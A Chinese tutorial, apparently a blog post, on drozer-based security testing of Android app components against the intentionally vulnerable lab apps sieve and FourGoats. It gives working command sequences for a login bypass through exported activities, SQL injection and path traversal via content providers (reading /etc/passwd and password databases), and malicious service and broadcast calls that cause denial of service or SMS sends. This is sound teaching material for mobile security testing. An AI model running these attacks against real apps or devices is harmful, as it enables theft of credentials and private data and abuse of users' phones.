app配合drozer检查安卓组件
基础知识 安卓四大组件
Activity(界面):通常展现为一个可视化的用户界面,是负责与用户交互的组件。常见的漏洞包括Activity劫持漏洞、越权漏洞等。
Service(服务):无用户界面,是运行于后台的服务,但是及其重要,经常在后台执行一些敏感的操作。常见的漏洞包括权限提升,拒绝服务攻击等。
Broadcase receiver(广播接收器):无用户界面,能够启动一个 activity 或 serice来响应它们收到的信息,或者用 NotificationManager 来通知用户。当应用广播接收器默认设置exported='true',导致应用可能接收到第三方恶意应用伪造的广播,利用这一漏洞,攻击者可以在用户手机通知栏上推送任意消息,通过配合其它漏洞盗取本地隐私文件和执行任意代码。
Content provider(内容提供者):为存储和获取数据提供统一的接口,可以在不同的应用程序之间共享数据。常见的漏洞包括读写权限漏洞、SQL注入漏洞、文件遍历漏洞等。
第一步 安装drozer
使用python2 安装依赖
sudo pip2 install protobuf
sudo pip2 install pyopenssl
sudo pip2 install twisted
sudo pip2 install service_identity
安装adb
brew install android-platform-tools
安装drozer
客户端 地址:https://labs.mwrinfosecurity.com/tools/drozer/
找到drozer(Agent.apk only),然后安装到手机或者模拟器
服务端 命令安装 sudo pip2 installdrozer-2.4.4-py2-none-any.whl
drozer
第二步 启动drozer服务端和客户端
服务端执行命令
drozer server start 启动服务端
adb connect 127.0.0.1:5555 连接mumu模拟器
adb devices 检测
adb forward tcp:31415 tcp:31415 进行端口转发
drozer console connect 连接客户端

第三步 activity界面
sieve 软件地址 https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk
测试 app sieve 是 drozer 官网提供的,测试前请提前进入 app 设置好密码以及 pin,并添加一条记录值
举例 密码 qwerasdfzxcv1234 1234
获取手里里安装包的名称 run app.package.list
搜索对应软件的包名 run app.package.list -f sieve
查看具体包的信息 run app.package.info -a com.mwr.example.sieve 可得到:版本号、数据目录、权限
针对该包查探可能存在漏洞的攻击面
run app.package.attacksurface com.mwr.example.sieve

得到对应安卓四大组件可能的攻击面:
activity -- 界面
broadcast -- 广播
provider -- 数据
service -- 服务
1、查看针对 activity 界面组件具体的攻击面
run app.activity.info -a com.mwr.example.sieve

根据返回值进行分析
com.mwr.example.sieve.FileSelectActivity应该是与目录相关的包
com.mwr.example.sieve.MainLoginActivity 应该是与登录相关的包
com.mwr.example.sieve.PWList 应该是与密码相关的包
2、针对每个 activity 攻击面进行测试,查看 app 反应 run app.activity.start --component 包名 具体activity
run app.activity.start –-component 包名 组件名
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity
第一个是显示系统文件/目录

run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.MainLoginActivity
第二个是重新进入登录界面

run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
第三个可绕过密码鉴定直接进入软件

第四步、查看针对 provider 数据 组件具体的攻击面
获取 content providers信息 run app.provider.info -a com.mwr.example.sieve

根据分析等处两个攻击面。
com.mwr.example.sieve.DBContentProvider攻击面
com.mwr.example.sieve.FileBackupProvider 攻击面
(1)首先对第一个攻击面进行检测
目录扫描,run app.provider.finduri com.mwr.example.sieve
分别测试每个 URI 是否能够访问,使用drozer进行扫描,判断目录是否可以访问。
run scanner.provider.finduris -a com.mwr.example.sieve

查看可访问 URI 内容
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --vertical

测试可访问 URI 是否存在注入
替换之前的可访问目录
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
或者
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
使用drozer扫描注入
run scanner.provider.injection -a com.mwr.example.sieve

注入数据表
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

查询表中所有数据
通过替换下列命令表来回去不同数据
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

(2)对第二个攻击面进行检测
探测目录 run scanner.provider.traversal -a com.mwr.example.sieve
针对探测到的两个url进行文件读取
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/passwd
同样可以根据。run app.package.info -a com.mwr.example.sieve 得到的目录信息获取更多文件
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/data/user/0/com.mwr.example.sieve/databases/database.db
下载查看到的文件
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db C:\\Users\\xxxx\\Desktop\\database.db

第五步、Service(服务)组件
FourGoats 软件地址 https://github.com/downloads/jackMannino/OWASP-GoatDroid-Project/OWASP-GoatDroid-0.9.zip
前提知识
AndroidManifest.xml
AndroidManifest.xml 文件是整个应用程序的信息描述文件,包含了 APP 的配置信息
其功能主要有:
命名应用程序的 java 包,这个包名将用来唯一标识这个应用程序。
描述了应用程序中包含的 Activity、Service、ContentProvider和 BroadcastReceiver 组件
定义了应用程序运行的进程
声明了应用程序需要访问受限 API 所需的权限
声明其他程序如果希望访问本程序组件所需要的权限
声明应用程序能够正常运行所需要的最小级别的 OpenAPI
列出应用程序运行所需要连接的库
重点关注的是声明的组件信息,也就是下方 <application> 内的信息
android:exported 属性
该属性指明了是否支持其它应用调用当前组件。
Activity、Service、Broadcast 默认值:
如果包含有 intent-filter 默认值为 true,表示其他 Application 可调用该组件;
没有 intent-filter 默认值为 false,表示其只能被当前 Application 或者拥有同样 USER ID 的 Application 的调用。
Provider 默认值:
当 Android sdk 的最小版本为 16 或者更低时其默认值为 true。如果是 17 及以上的版本默认值为 false。
当组件的 android:exported="true" 时,会导致其他应用可随意调用该组件(直接调用或者通过 action 调用),那么势必会导致一些问题。
1、查看 FourGoats 攻击面
run app.package.attacksurface org.owasp.goatdroid.fourgoats
查看针对 service 攻击面进行测试 数据组件具体的攻击面
run app.service.info -a org.owasp.goatdroid.fourgoats

2、对app进行反编译 查看文件
./apktool d FourGoats.apk
查看AndroidManifest.xml文件

发现 org.owasp.fourgoats.goatdroid.LocationService 服务可被导出且不需要任何权限,
这意味着任何与 FourGoats 应用程序安装在统一设备上的恶意应用程序可以访问该设备的位置,这是非常危险的
run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService
直接拒绝服务

第六步 Broadcase receiver(广播接收器)
查看 FourGoats 攻击面
run app.package.attacksurface org.owasp.goatdroid.fourgoats
查看针对 broadcast 数据组件具体的攻击面
run app.broadcast.info -a org.owasp.goatdroid.fourgoats

打开 xml 文件查找 action
直接执行造成拒绝服务
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS

反编译查看源码

共需要 2 个参数,phoneNumber、message
发送恶意广播
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 666 --extra string message test

浙公网安备 33010602011771号